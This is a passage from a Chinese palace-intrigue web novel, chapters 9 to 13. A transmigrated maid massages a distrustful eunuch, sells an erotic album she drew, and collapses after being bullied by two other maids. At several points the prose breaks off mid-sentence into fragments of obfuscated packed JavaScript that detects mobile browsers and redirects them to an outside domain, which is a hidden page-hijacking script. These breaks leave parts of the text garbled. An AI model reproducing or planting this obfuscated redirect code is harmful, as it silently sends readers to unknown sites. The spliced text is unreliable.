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接下来就是一阵沉默,姚砚云开口道,“头痛不是病,痛起来真要命,公公要是觉得我这手法可以,我以后天天来给公公按摩。” “公公您位高权重,日理万机,要是被头疾耽误了就不好了。” 谁知刚说完,张景和就一声冷笑,他缓缓抬眼,方才眸子里的一丝惬意已经荡然无存,“怎么?觉得摸清了我的痛处,就能拿住我的脉门了?” 他指尖无意识摩挲着袖口暗纹,“不过是些捏捏按按的伎俩,也配拿来当筹码?当我是那些需要旁人垂怜的废物?还是说,你就等着看我痛得直不起腰时,好拿着这点‘恩情’来要挟我?” 姚砚云心想,这傻逼太监真是敏感肌啊,帮他一把也要被怀疑,好像不管她做什么,他都要怀疑。感觉全世界都要害他一样。 她忙敛了神色,屈膝福了福身,声音放得更柔了,“公公您误会了,小云不是这个意思。小云的意思是,公公头痛的时候小云愿意帮您缓解痛疼,我愿意帮您不是因为你是位大官,就算是换成其他的小宫女,小太监,小云也是愿意帮他们的。” 张景和道,“你最好不要生这些胡乱的心思,像你这种人一天天想的什么事,我最清楚了。” 姚砚云点了点,“公公我知道了。” 张景和道,“既然知道了,就赶紧出去,你还想在这边过夜吗?” 姚砚云一惊,鞋底像抹了油一般走了。 9. 第 9 章 原本轮着守夜芍药花的宫女有足足十五人,后来就变成了五个,再后来,其中两人因为给了掌事太监钱,就只剩下三人了,姚砚云,马冬梅,和一名叫山竹的宫女。 姚砚云也不意思让马冬梅一直帮她,这晚她坚持自己去。 今夜的天气有些凉,姚砚云中途还回去宫房拿了一件披肩,她发现自己来到这边后,身子变的比较怕冷了,很多时候明明是秋高气爽的好天气,她却觉得有些凉。 所谓守夜,就是守着那一大堆芍药花,她巴不得把纸笔带到这边来,真的是白白浪费了这些时间。 抬头看了好一会儿的星星,又想了想那《云深集》的动作设计,很快又睡着了。 到了丑时三刻,睡梦中的姚砚云清晰地听到了一声天雷,她猛然惊醒了过了,擦了擦口水,就往掌事太监那边跑去。 谁都没想到今晚会下雨,姚砚云见到掌事太监冯公公后,对方也是十分的着急,可着急归着急,却只安排了一位,看起来十一二岁的小火者帮她去搬,那可是足足二百多株的芍药花啊,每一盆的花,陶瓷缸加上泥土将近二十斤。 那小火者瘦的和那竹竿一样,不知道要搬到什么时候,最要命的是,宫里平时运东西的车子,也被锁起来了。 冯公公尖这嗓子道,“你们两个还愣在这里干什么?是不是非要大雨打烂了芍药花,万岁爷砍了你们的头,才愿意动啊?” 听到此话,姚砚云和那名瘦弱的小火者,只能快跑着去搬了。 摆放芍药花的院子,距离最近的一个放杂物的棚子三丈余,两人怕被砍头的人,一次抱两盆过去,不到一个时辰就搬完了。 两人坐在地下喘气,姚砚云只觉得心跳的厉害,她平时也就扫扫地,搬一些小物件,还从来没有搞过运动量那么大的活。 “你叫什么名字?”,姚砚云问一旁的小火者。 “我叫啊邦。” 话刚说完,暴雨就倾盆而下。 也无聊的慌,姚砚云就和啊邦唠嗑了起来。 “你是几岁进的宫啊,啊邦。”,姚砚云见他实在是清瘦,但从他的脸上看得出应该是十一二岁左右。 啊邦红着脸道,“我八岁进的宫,我今年十二。” 姚砚云心里知道,宫里面的很多太监都是在年纪小小,不谙世事时就被送进了宫,其实也是蛮可伶的。 她忽然就想到了张景和,也不知道他是几岁进宫的,他就是因为做了太监才变的那么傻逼,那么心理阴暗的吧。 两人之后又聊了一些不冷不热的话题,后面雨也停了,啊邦就回去继续值班了。 姚砚云则盖着披肩睡着了。 ———————— 姚砚云和其他几位宫女忙完事情后,正在西华门那边走过,谁知走到一半,陈忠义又出现了。 陈忠义拦住姚砚云,“啊云,我就和你说几句话。” “你这人,是不是听不懂人话,我没什么好和你说的!”,姚砚云吼了一声。 此时走在她前面的几名宫女,纷纷转过头来。 陈忠义道,“你也不想大家都知道我们这事吧。” 姚砚云没好气地道,“说吧,就在这里说。” “我昨天接到一个任务,要给山海关那边的战士送棉衣过去,得有一段时间不在京师了。”,陈忠义道,“啊云,这段时间你要照顾好自己。” 姚砚云一听,立马喜笑颜开,说明这段时间再也不用担心在宫里遇到他了。 “还有吗?”,姚砚云翻了一个白眼。 “啊云......你难道没什么对我说的吗。”,陈忠义一脸期待。 姚砚云道,“那还真没有。” “你说完了是吧?那我走了。” 姚砚云头也不回地走了,挺直的背影没有一丝留恋,只留下陈忠义一脸茫然待在原地,他想不明白,之前口口声声说要嫁给他,要和他共度一辈子的人,竟冷得像块冰,仿佛过往那些美好时光、那些郑重许下的诺言,都只是一场被风吹散的幻影,从未在她生命里留下过半点痕迹! 想到此处,陈忠义只觉得心中像被万箭穿心一般的痛。 不过,很快他那阴郁的脸就变了,他大笑了几声,在心里默默发誓,他一定要娶到她!不管用什么方法。 除了他还有谁更适合她?她只是一名低贱的宫女,能寻到他这样的归宿,已是上天垂怜!六品的宫廷侍卫,就算她再貌美,她这个出身,能攀到五品以上官员吗? 除了他不会有人和他抢夺她,除了他,还有谁会如她这般珍惜她? 想到这些,陈忠义心满意足地走了。 过了酉时,今日是难得有了一份清闲,马冬梅靠在床上嗑瓜子,姚砚云则在画图。 “张公公是不是很恐怖啊?”,马冬梅好奇地问。 姚砚云脱口而出,“这人不单只恐怖,还十分小气,还有妄想症,觉得全世界都想害他。” “那你帮他按头的时候,他是什么反应?”,马冬梅道,“他是什么表情,会瞪着你吗?按的不好他会不会动手打你?会不会一直盯着你。” 姚砚云:...... 马冬梅做了二十年的底层宫女,几乎是没有机会接触到宫中的大宦官的,对那些大宦官的形象,大多数来源一些宫女和小太监的口头相传,比如司礼监里面的宦官,个个权势滔天,心狠手辣,杀人如麻。 姚砚云噗嗤一声笑了出来,“怎么你说的他像一只愤怒的猫一样。” 想了想又道,“他才没猫有意思。” 马冬梅道,“那你想好送什么给他了吗。” 姚砚云伸了伸懒腰,“这银子还没到手呢。” “不过,冬梅你倒是提醒了我,我还得找人打听一下,张景和喜欢些什么玩意。” “哎!希望是我能承受的起的。” “哐哐哐~” “哐哐哐~” “姚砚云,有人找你!出来一下。” 姚砚云走出了宫房大门,只见吉祥正直着腰板在那边站着。 “公公找我有什么事。”,姚砚云倒是没想到,吉祥会来找他。 吉祥道,“我家老爷头疾又犯了,请你过去按摩呢。” 说完,两人动身往值房方向走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张景和冷不丁来一句,“你废什么话!继续按。” 姚砚云把头更低了些,发梢扫过他的耳廓。张景和猛地偏头,“很痒,什么东西!” 姚砚云吓得缩回手,“是我的发丝......公公对不起......” “那就接着按。”张景和重新靠回椅背,闭上了眼。 接下来姚砚云再试图和他搭话,他是怎么样都不愿意理她了。 按按停停接近了半个时辰,他才让她停下。 张景和皮笑肉不笑地道,“怎么了,就按了这么一小会就累了?” 姚砚云心想,这傻逼太监真的是得了便宜还卖乖,他享受了半个时辰,自己累了半个时辰,不说句谢谢就算了,还在这边阴阳怪气,真是活该他有头疾,痛死他算了。 可她依旧摆出了一副笑脸,“公公,小云不累。倒是公公您,坐在这僵硬的木椅子上,您受累了。” 张景和道,“姚砚云,你这是在说我不给你椅子坐呢?” 姚砚云道,“没有没有,坐着按,还不好用/.力呢。” 张景和不经意地笑了笑,“那行,以后你就站着按吧。” 姚砚云依旧是谦卑地笑着,“公公您说什么就是什么。” 10. 第 10 章 在熬了十五个日夜后,姚砚云的《云深集》终于大功告成了。 在末页落下自己的署名“一笑了之”后,她开心的快跳起来了,这十五个日夜里,除了守夜一晚,她就没睡过超过一个时辰的觉,连睡觉的时候也巴不得拿起笔在梦中画上几笔。 今晚,她终于好好睡一觉了。 黑甜一觉过后,姚砚云扫地也扫的更起劲了,她已经安排好了,等午饭的饭点一到,就把这《云深集》带给刘公公。 很快就到了饭点,姚砚云也顾不得吃饭了,直奔刘公公在尚膳监值班房。 刘公公见姚砚云来了后,就把门和窗户都关的紧紧的。 “带来了?”,刘公公问。 “带来了。”,说完姚砚云转身过去,她身上宫服的衣襟处,缝着个斜襟暗袋,她从怀里掏了一本册子出来。 “公公您看看。”,姚砚云恭敬地递了过去。 刘公公滑稽地笑了笑,“咱家倒是要看看,是不是真像你说的那么有意思。” 从刘公公翻开第一页起,姚砚云就死死盯着他的神情和动作。 只见刘公公,翻前面几页的时候,那半眯着的双眼睁的和铜铃似的,他喉结滚了滚,像是被什么噎住一般,又继续往下翻了几页,只见他的脸和脖子和耳尖都烧得通红,再翻时,那双手竟控制不住地打起颤来。 刘公公骤然合上了画册,站起来身来,绕着姚砚云打量了好几圈。 姚砚云被他看的莫名其妙的,“刘公公,是我画的不好吗?” “姚砚云,你真他/.娘是个人才!” 他没想到,她一个久居深宫,未经人事的宫女,竟然能画出这些玩意。 画的可比坊间那些畅销画更生动,甚至还更有看头!他此刻心中大喜,这画集定能买个好价钱。这可比帮其他宫女卖个帕子和荷包赚钱多了!| 想到此处,不自觉对眼前的姚砚云生出了一股欣赏之情。 “公公,我这个《云深集》能卖多少钱?”,姚砚云一脸期待地问。 刘公公伸出了三个手指。 “三十两?”,姚砚云问。 “你觉得你的画,才值三十两?”,刘公公一脸得意地问,“对自己那么没信心?” 姚砚云道,“三十两的确少了点。” 刘公公道,“你这《云深集》值三百两。” 姚砚云惊的下巴都快掉下来了,那和刘公公一人一半的话,她就能得一百五十两,就能给张景和送礼了!一百五十两可以买到很有派头的礼物了。 “刘公公,您没骗我吧?”,姚砚云生怕她之前听错了,又问了一遍,“真能有那么多啊。” 刘公公一脸志在必得的模样,“呵,你就放一百个心吧!” 一般的太监不一定能卖出这个价格,可他手中的资源可不是一般太监可以比的,只要这避火图有看头,多的是富商趋之若鹄。 姚砚云欢喜地道,“那我就先谢过公公了。” 从尚膳监值班房出来后,姚砚云是哼着歌出来的。一边唱一边想着,到时候拿出一百两给张景和送礼,另外五十两,以后自己出宫用,再给冬梅一个小红包。 想着想着又纠结起来,到时候是直接给他送银票,还是买礼物送他?送礼的话要送他些什么好呢?坐到他这个位置,这世间恐怕没什么金银珠宝是他没见过的。 这傻逼太监心思这么重,又那么的敏感,要是送到他不喜欢的东西,岂不是前功尽弃。 姚砚云回到宫房后,又把这一好消息告诉了马冬梅。 “冬梅,你快帮我想想,给张公公送点什么好呢?” “张公公在皇上面前当差,各种珍宝他见的多了吧。”,马冬梅想着想着忽然傻笑了起来,“要送就送点不一样的。” “那你说说送什么?”,姚砚云急道,“冬梅你就赶紧说吧,别卖关子了。” 马冬梅道,“上次和我们搬药材的兰花你可还记得,她在家乡有个相好的,每年她都会纳好几双鞋子托人寄过去给他。” “我之前有次问她,何必那么麻烦,京师有的是好看的锦鞋,不如托人去市面上买。” “兰花却说,人这一辈子,路都是靠两条腿一步步丈量出来的。东家长西家短,平原阔山路险,走得远不远,脚底下最清楚,有双合脚的鞋,才能走得更远。” “他们久站在御前伺候,脚易浮肿,市面上的锦鞋好看却不养脚,所以我想着,要不你也给张公公做双鞋子?” “冬梅,你是不了解那傻......你是不了张公公,他那么贪财,怎么会看得上一双鞋子。”,姚砚云都能想到他收到鞋子那一刻的神情了,那定是又刻薄又嫌弃的,“要是这些能打发他,我还画什么避火图啊。” 马冬梅道,“你就不能又送鞋子又送贵礼物吗。” 姚砚云一想也是有道理,送一双自己亲手做的鞋,不刚好可以证明自己的诚意吗,到时候收不收是他的事情,就算到时候他实在不喜欢,那不还有一个贵的东西吗。 想到此处,姚砚云嘴角扬了起来,“冬梅,你得帮我。” “你不会想我帮你做鞋子吧!”,马冬梅简直后悔死提这个建议。 “哎呀,冬梅你就帮帮我吧。”,姚砚云一把抱住马冬梅,“等我那画集卖出去了,有你的一份。” 马冬梅道,“行吧,行吧。说好了哈,到时候给张公公买礼物的钱有剩下的话,你得给我点。” “必须的。”,姚砚云笑了笑,把马冬梅抱的更紧了,“冬梅,没有你我可怎么活。” 说完,姚砚云只觉得肚子一抽,痛的她差点尖叫起来,她这几日来癸水了,估计是她的原身有些体寒的缘故,导致她来癸水了后,肚子时常发痛,严重时腰都直不起来了,她这会儿额头已经是直冒冷汗,这边又没有止痛药吃,只能自己忍着了。 ———————— “皇上,你好坏~” “皇上,臣妾再也不想理你了。” “妹妹,你恼什么呢,姐姐我身上可是一件衣服都没有了。” 末时三刻刚过,皇上就和懿嫔容嫔玩起了猜枚,三人身前都放有一小罐金瓜子,把金瓜子放在两掌当中,任意出一掌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那只胖胖的虎斑吃饱后,跳到了张景和身上,那虎虎的脑袋很自然地趴在他的肩膀上。时不时发出喵喵喵的叫唤声。 张景和的嘴角不自觉地扬了起来。 眼中也难得有了一丝光芒,轻轻地说了一句,“小乖乖,吃饱了吗。” “下次再来看你。” 他把那只虎斑轻轻放在地上,看着它翻上了一处墙,才准备回值班房。 谁知刚一转身,他才发现背后有个人,他对面之人粲然一笑,“公公,你在这干嘛呢。” “姚砚云,你在这里做什么!”,张景和表情立刻冷了下来。 姚砚云道,“我在这边扫落叶。” 姚砚云是方才从三角楼那处下来的,看到地面蹲着的人很像张景和,便打算过来看下,没想到还真是他。 张景和道,“那你就好好扫地,你走到我身后做什么?” 姚砚云道,“因为我一般是从这边开始扫的。” 张景和不再说话,转身就走了。 11. 第 11 章 这晚,吉祥又把姚砚云叫过来了公所。 按了才一刻钟,张景和先前挺直的脊背就松了劲,后脑抵在雕花搭脑上,他竟然睡着了。 期间吉祥进来了一次,他吩咐姚砚云千万别打扰张景和,按完要静静退出。 姚砚云轻轻叫唤了好几声,直到确认了张景和真的睡死过去了,才在袖中拿出一根软尺。 马冬梅是答应帮她做鞋了,那她就得拿到张景和鞋的尺码。 她轻悄悄地绕到张景和身前蹲了下来,指尖探到靴跟处,软尺刚要绕过去,张景和忽然动了动,搭在扶手上的手指蜷了一下,吓的姚砚云猛地缩回手,后腰撞在案几上,砚台都差点翻了——幸好她眼疾手快扶住了。 姚砚云心想,这明明只是想给他做双鞋而已,搞的自己和做贼一样。 咬着牙,她再次伸出手,这次学乖了,指尖悬在靴面上方,离着半寸距离,用炭笔在软尺上快速比量了一下,好不容易量完,她刚要把软尺揣回袖中,手腕却被猛地攥住。 “你在做什么?”,张景和的声音像淬了冰 被他这么一攥,姚砚云本来蹲着的身子,顿时失去平衡,直接整个人坐到了地面,她仰望着张景和那发怒的脸,“我......我在测你的鞋码......” 张景和眉峰一拧,还以为自己听错了,又沉声问了遍,“你说什么?” “我想给公公您......”,姚砚云道,“我想给公公您做一双鞋......” “姚砚云,我这几日叫你到我这边,是因为你的按摩手法,对我的头疾的确有些用处,你做好自己本分的事就好了,你的那些糕点,还有你今天说的鞋,我不需要这些破玩意。” “你如果还敢生这些乱七八糟的心思,就不要怪我对我不客气!” 姚砚云连连点头,“公公,我了解了。” 张景和道,“今晚就到这里先了,你走吧。” 姚砚云行了礼,就退出了屋内。 回到宫房后,姚砚云和马冬梅说了这件事,“冬梅,我没和你说错吧,那傻逼太监就是看不上我们的鞋。算了算了,不做了,等我的画集的钱到了再说吧。” 马冬梅道,“你这就不懂男人吧,男人说不要,就是要。” 姚砚云:...... “先不说他是不是个男人,冬梅啊,你这些话是和谁学的。” 马冬梅道,“听兰花说的。” “你既然把尺码量出来了,那就做一双给张公公,说不定张公公心情好,就把你那事应下来了。” 姚砚云想了下的确有道理,反正又不用她做,“冬梅,那就做吧。” ———————— 今日难得有半天的休息的时间,姚砚云和马冬梅睡到了日上三竿才起身,两人去小厨房拿午餐的期间,刘公公派过来的太监和姚砚云说,这画他还在寻找顾主,过多几天再告诉她最终的定价,让她别担心,在他这边卖东西,不会让她吃亏的。 有了刘公公这番话作为保证,姚砚云先前担忧的心总算是放松下来了。 姚砚云和马冬梅吃完了午饭后,想着下午得干活了,两人又各自钻进被窝躺着了。 “还有不到三个月我们就能出宫了,出宫后,你要去哪里。”,马冬梅问,“是继续留在京师吗?” “我也不知道,你说我在这边无父无母的。”,姚砚云叹了一口气,“我还真不知道能去哪里。” 姚砚云心想,自己在这边是人生地不熟的,还怎么能去外地,要是能留在京师就最好了。可这边是一朝国都,房租和消费的什么的应该很贵,先前积攒的钱又全用完了,一时间真的陷入了苦恼之中。 怪不得之前她的原身,急急忙忙找了陈忠义,想必也是有这个原因的吧。越想越头痛,还是把指婚之事先搞定吧。 本还想再和马冬梅聊些什么,姚砚云一转身见她已经入睡,她也闭了双目,准备休息一会儿后再去干活。 姚砚云从御膳房回来的路上,宫中忽然刮起了一阵小秋风,她觉得浑身有些发冷,便加快了脚步往回走。 走着走着,忽然就撞到了廊下朱红柱旁站着的两个宫女,“对不住。”,姚砚云匆忙颔首致歉,话音未落便想绕开,手腕却被其中一人猛地攥住。 那宫女指甲尖几乎要嵌进她皮肉里,脸上挂着假惺惺的笑:“姚砚云,你很着急吗?” 姚砚云心想,这人是认识她的,可看她的神情,却是来者不善,她可不想在宫里惹事,本想挣开她的手,刚迈出半步,脚踝突然被什么东西狠狠勾了一下——是另一个宫女悄悄伸过来的脚。 她身子一歪,重重摔在青石板上,掌心擦过粗糙的地面,顿时传来火辣辣的疼。 血珠顺着掌心纹路渗出来,姚砚云撑着地面抬头,正要质问,那勾她脚的宫女却抢先一步蹲下身,似笑非笑的样子,“真对不起啊,我带你去上药。” 她边说边冲同伴使了个眼色,两人一左一右架起姚砚云的胳膊,姚砚云被她们半拖半拽地往前挪。 两人把她堵到廊下一置物间里面去了。 姚砚云原先还真以为,她们两个那么好心给她上药,如今看这个势头,两人怕是要搞事情。 姚砚云道,“两位姐姐还是妹妹,请问有什么指教?” “哎呦,姚砚云啊姚砚云,你什么时候变的那么谦卑了?还姐姐妹妹。”,一个长相秀气,有些瘦弱的宫女,用十分嘲讽的语气道,“你不是很得意吗?真没想到你也有今天啊,呵呵。” 姚砚云还未出声,另外一个同样秀气,身材有些圆润的宫女开口道,“哼,我看你如今还拿什么神气!” 说着说着又笑出了声,“你不是说,你要过上人上人的生活吗?怎么如今变成打扫宫女了啊。” 话音刚落,两人突然像是听到了什么天大的笑话,又相互对着笑了起来。 姚砚云听的云里雾里的,眼前两人的年纪看起来和她差不多大,看她们是动作神情,巴不得要把她生吞活剥了一般。 不过,她很快就从她们的话语中,反应过来了,什么变的如此谦卑,什么我看你如今还拿什么神气,很明显这又是她原身得罪过的人了...... 姚砚云啊姚砚云!你到底招惹了多少人啊,迟早被你害死啊。 她可不想在这紫禁城里面打架,不是怕打不过,而是被那些掌事姑姑掌事太监发现,可是要打板子的,她可不想被打的屁股开花,而且,她现在觉得浑身发冷,只想快点回到宫房。 姚砚云谦和地道,“两位姐姐,如果以前我得罪你们什么了,我郑重和你们道个歉,对不起。” 姚砚云此话一出,对面两人都愣住了,两人先是对望了一下,露出了不可思议的神情,那眼神里有惊愕,有疑惑。 她们怎么也想不到,从前那个眼睛长在头顶上的姚砚云,竟会对着她们低头认错? “既然两位姐姐愿意原谅我的话,那我就先回去了。”,说完姚砚云就打算从两人中间硬挤出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325952|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“姚砚云,你别想走。” “姚砚云,除非你跪下来帮我们擦鞋,不然你别走!” 两人硬生生把她推了回去。 姚砚云见两人此时怒气冲天,怕是没那么好走了,她笑了笑道,“行吧,两位姐姐,谁先擦?” 说完就从怀里拿出丝巾。 她刚一蹲下,手里的丝巾还没碰到鞋面,忽然整个人就倒了下去。 这情景把对面两人吓的一激灵,她们急忙蹲下身子去摇她的身子,“喂,姚砚云你别装死。给我起来。” “巧慧,她怎么晕倒了,这可怎么办啊。” “喂,你醒醒。”,她们把姚砚云扶了起来。 就在两人手足无措之际,姚砚云的眼睫忽然轻轻颤了颤,缓缓睁开了眼睛,她虚弱地道,“我头好痛,好痛。” 巧慧和啊芳对视一眼,都从对方眼里看到了慌乱。两人凑到一起,压低声音窃窃私语,巧慧咬着牙道:“算了,算了,咱们先走,别沾了这晦气。” 啊芳点了点头。 姚砚云将她们的对话听得一清二楚,心里早已乐开了花,看来这招还是有用的。“两位姐姐有事情就先走吧,我在这边缓缓,晚点再走。” 对面两人“哼”了一声,就不服气地转身走了。 等两人走了约十来步,姚砚云才起了身,她拍了怕裤子上的灰尘,也准备回去了。 蓦地,她觉得胸口一阵剧痛,她下意识攥紧了手里的丝巾,方才还清晰的两人突然远了......耳边的风声、脚步声都消失了,只剩下自己越来越沉的呼吸声。 指尖的力道一点点散去,那方丝巾她有些握不住了,她觉得眼前的黑暗越来越浓...... 随着指尖的丝巾滑落到青石板,她整个人也随着跌倒在地...... 她重重摔下地的声音,引得前面两人回了头。 巧慧道,“啊芳,她摔倒了,她怎么不起来,不会是死了吧。” 啊芳道,“反正不关我们的事,我们走。” 紧接着两人加快了脚步。 “这姚砚云怎么和变了一个人似的,以前她的眼睛可是长的头顶上的。”,啊芳道,“看到她这样我就安心了,叫她狂。” 巧慧附和道,“哼,可不是嘛,以前她多威风,现在是比我们还低等的打扫宫女。气死她了吧。” 两人有一搭没一搭地聊着,嘲讽这姚砚云以前是如何的作威作福,现在又是如何如何的落寞,可聊着聊着,原先的兴奋已经慢慢消失,两人都明显感到对方的漫不经心。 巧慧声如细蚊,“要不,还是回去看看她吧......要是真的死了......” 啊芳也正有此意,“那我们赶紧去吧。” 两人几乎是跑着过去的,只见地下那人面如死灰,连唇瓣都泛着失血般的青白,方才还含笑的眉眼此刻紧紧闭着,毫无生气。 巧慧把人抱起了身,只觉得姚砚云浑身都冷的出奇,身子软得像没有骨头,脑袋歪在她臂弯里,连连叫唤了十多句也没反应,都只换来颈项无力的垂落,她只好背起姚砚云往太医院方向飞奔而去。 巧慧负责背着姚砚云,啊芳则一直试图叫唤起她的意志,指尖不住掐着姚砚云的人中,声音抖得不成样子,“姚砚云,姚砚云,你醒醒啊,别死。” “姚砚云。” “姚砚云。” “姚砚云。” 可一路上,姚砚云都没有清醒的迹象,反而身体越发的冰凉了。 12. 第 12 章 “大夫,你快救救她,她身子都凉了。”,巧慧把姚砚云轻轻放在塌上。 一名矮小,身材肥胖的太医给姚砚云把了脉,之后又拿出一个针包,右手持针悬在她人中上方,姚砚云的睫毛颤了颤,还是没有清醒的迹象。 又取过一枚稍长的银针,沿着她肘弯内侧的曲泽穴缓缓旋入,不多时姚砚云原本泛青的唇瓣才透出些微粉意。 “行了,就这样吧,我要卸直了。”,值班太医漫不经心地打了个哈欠,眼角还凝着几分倦意,转身就要往门外走。 “可是她还没有醒啊,若你走了,她再出些别的事,这可怎么好?”,巧慧刚掀帘进来,一眼就看清了屋内只有这一位太医在。 “你急什么。”,那太医有些不耐烦地道,“我已经施过针,过会儿自然就醒了。” 巧慧道,“也不用开什么药吗?” 那太医打量了巧慧几眼,又转身打量躺在榻上的姚砚云,看她们两人的穿衣打扮就知道是低等宫女,他已经帮她施了针了,很快就会醒来了,接下来的事可不关他的事了,宫里有的是名贵药材,可那是给宫里的主子吃的,她一个卑微宫女,回去歇息一下就好了。 “针已经施过了,哪还用得着额外开药?。”,那太医说罢,便绕开巧慧,径直推门去了。 巧慧守了一会儿姚砚云后,啊芳带着马冬梅也来了。 马冬梅一进门看见榻上毫无动静的姚砚云,眼泪当即就涌了上来,“砚云,你醒醒。” 巧惠和啊芳把姚砚云是如何晕倒的告诉了马冬梅后,两人也离开了。 约两刻钟后,姚砚云终于缓缓睁开了眼,眼神还有些涣,她愣了好一会儿,才想起来自己晕倒之事。 她撑着榻沿想坐起身,却只觉得脑袋昏沉得厉害,“冬梅,送我进来的那两人叫什么名字。” 马冬梅惊讶地问,“你竟然不认识她们了?” 姚砚云只能说落水之后,丧失了记忆什么的。 马冬梅道,“那个高高瘦瘦的叫巧慧,比较圆润一些的叫啊芳。” 姚砚云道,“那她们和我是什么关系?我们以前有过什么过节吗?” 马冬梅白了她一眼,“我看你啊,把自己之前做的缺德事全忘记了吧。” 姚砚云:...... “你和巧慧和啊芳,之前一起伺候过周婕妤,后面你就升到了德妃宫里去当差了。”,马冬梅道,“后面你啊,你这个没良心的,你当上大宫女之后,有一天不知抽什么风,竟然叫巧慧和啊芳给你擦鞋。” 马冬梅敲了一下姚砚云的脑袋,“你看你干的缺德事.....” 姚砚云:...... “我真的的该改了,冬梅......”,姚砚云无奈地道,“巧慧和啊芳这次帮了我,我改天一定和她们好好赔罪。” 等确认了姚砚云能站稳,头不再晕后,马冬梅就扶着姚砚云起了身,准备回宫房。 马冬梅正扶着姚砚云往门口走,一位身着青色太医袍的年轻太医走了进来。 两人对那年轻太医行了一个礼,就打算走了。 “姚姑娘请留步。” 清朗的声音突然从身后传来。 姚砚云脚步一顿,疑惑地转过身。 见那太医约莫二十五六的年纪,长的白净眉眼清俊,笑起来时嘴角两侧还陷出一对浅浅的酒窝。 “他叫什么名字,我认识他吗。”,姚砚云凑到马冬梅耳边问。 马冬梅道,“我也不认识他啊。” 于是姚砚云问他,“你是?” 那太医道,“我叫蓝砚舟,我们以前见过的。” 姚砚云有些尴尬地笑了笑,一时间不知道说什么好。 “以前仲和给你拿药的时候,我们见过几次的。”,蓝砚舟的语气很随和,“不过仲和半年多前就随军去了边关,姚姑娘倒是很少来太医院了。” 姚砚云哪里知道什么仲和,只是微微笑着回应他。 聊了几句后,姚砚云和蓝砚舟告别,刚转身,他又叫住姚砚云,“姚姑娘,你脸色很差,可是来找太医看病的。” 姚砚云道,“我已经看完了。” 蓝砚舟道,“给你开药了吗。” 姚砚云道,“方才有太医帮我看了,说是不用开药,回去休息一下就好了。” 蓝砚舟沉思了一会儿道,“你在这边等我一下,我给你拿点药。” 不到半刻钟的功夫,蓝砚舟就拿了一大包的药材出来,“这里面都是补气血的温和药材,我按七日的量分成了七小包,你每晚睡前用温水煎半个时辰,喝的时候切记不能放凉,得留着些温乎气,不然伤了脾胃。” 见姚砚云不肯收下,蓝砚舟眼角的笑意依旧,“你是仲和的朋友,也就是我的朋友,收下吧,不然我又得一样一样放回去,麻烦得很。” 姚砚云见状只能收下。 翌日,姚砚云带上一些糕点,打算和巧慧啊芳陪个罪,也顺道谢谢她们昨日救了自己一命。 到了两人住的宫房后,她们一听到她的声音,就说不见,连糕点都不愿意收。 姚砚云也理解,要是有人逼她帮对方擦鞋,她也不会原谅的。 “算了,我们回去吧。”,姚砚云拍了拍马冬梅的肩膀,“她们应该不会原谅我的了。” — 这晚,张景和的头疾又犯了。 本来这内廷是很太平的,但因为懿嫔的胡作非为,导致皇上和皇后多有隔阂,他的干爹又因病已经多日不在宫中了,本来处理司礼监和东厂的事情,他是忙的过来的,可自从上次luan/.童之事发生后,皇后每日都招他去坤宁宫问话,美曰其名是关心皇上身体,实际是打听皇上的消息。 在这诺大的紫禁城中,他就只有一个主子,那就是当今圣上,皇后的这番行径,他自然禀告给了圣上,而圣上那边的话就是,该说说,不该说的别说。 圣上虽然是这样交代他的,可皇后娘娘是个打破砂锅问到底的人,每日在坤宁宫问的他,头都痛了。 吉祥给张景和倒了一杯茶,试探性地问,“老爷,要不,叫姚姑娘过来?” 张景和道,“叫她做什么?你是觉得我还不够烦吗。” 吉祥连忙请罪,“老爷,我是觉得姚姑娘这手法的确了得,每次她帮 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某日,张景和替皇上给德妃送一对耳坠,姚砚云和几位宫女在院子里闲聊。 姚砚云当时一脸高傲地道,“我听说景仁宫的柳初竟然跟了吴总管,那可是没根的东西啊。” 其中一位宫女道,“听说吴总管很有钱,他在京郊有一座大宅子呢,我听别人说那宅子里面,就算是下人也都穿着浮光锦呢!” 姚砚云笑道,“我就算是一天只喝半碗白粥,每天睡床板,也不会嫁给那种阉人!” 这些话偏偏给当时来给德妃送东西的张景和听到了。 当时其他几位宫女,见张景和来了之后,就低着头不敢出声,可姚砚云却故意说的很大声,生怕张景和听不到。 这些事情在张景和眼前又重现了一遍,不过他很快就不生气了,因为他想到这些日子,姚砚云在他身边伏低做小的样子,他就觉得十分的畅快,最让他觉得有趣的是,她竟然还在妄想,他最后会帮她,那她可真的是想多了。 呵!她不会从他身上得到任何东西,就让她做春秋大梦去吧。 想到这些,张景和嘴角有了一些笑意,本想让那小火者打发姚砚云走,可想了想又道,“你和她说,我稍等叫她进来,让她等着。” 屋外的姚砚云,听到张景和愿意见她,十分的开心,就站在门外等了起来,可她等了将近一个时辰,也没等到有人召唤她进屋。 就在她快要打瞌睡的时候,小火者道,“张公公说让您等等。” 姚砚云只能继续等着。 而屋内的张景和,正心情大好看一本古籍。 又过了将近一个时辰,张景和吩咐那小火者告诉姚砚云,自己已经休息下了,让她先回去。 姚砚云扶着廊柱才没晃倒,腿肚子早麻得像灌了铅,她已经在心里骂了张景和三千次了! 她转身,望着天边残月,把那句“傻逼太监”狠狠咽进了喉咙里。 谦和地笑着那小火者道,“那我明日再来找张公公。” 13. 第 13 章 喝了蓝砚舟开的四剂药,姚砚云明显感到这几日没那么疲倦了,也没那么畏冷了。 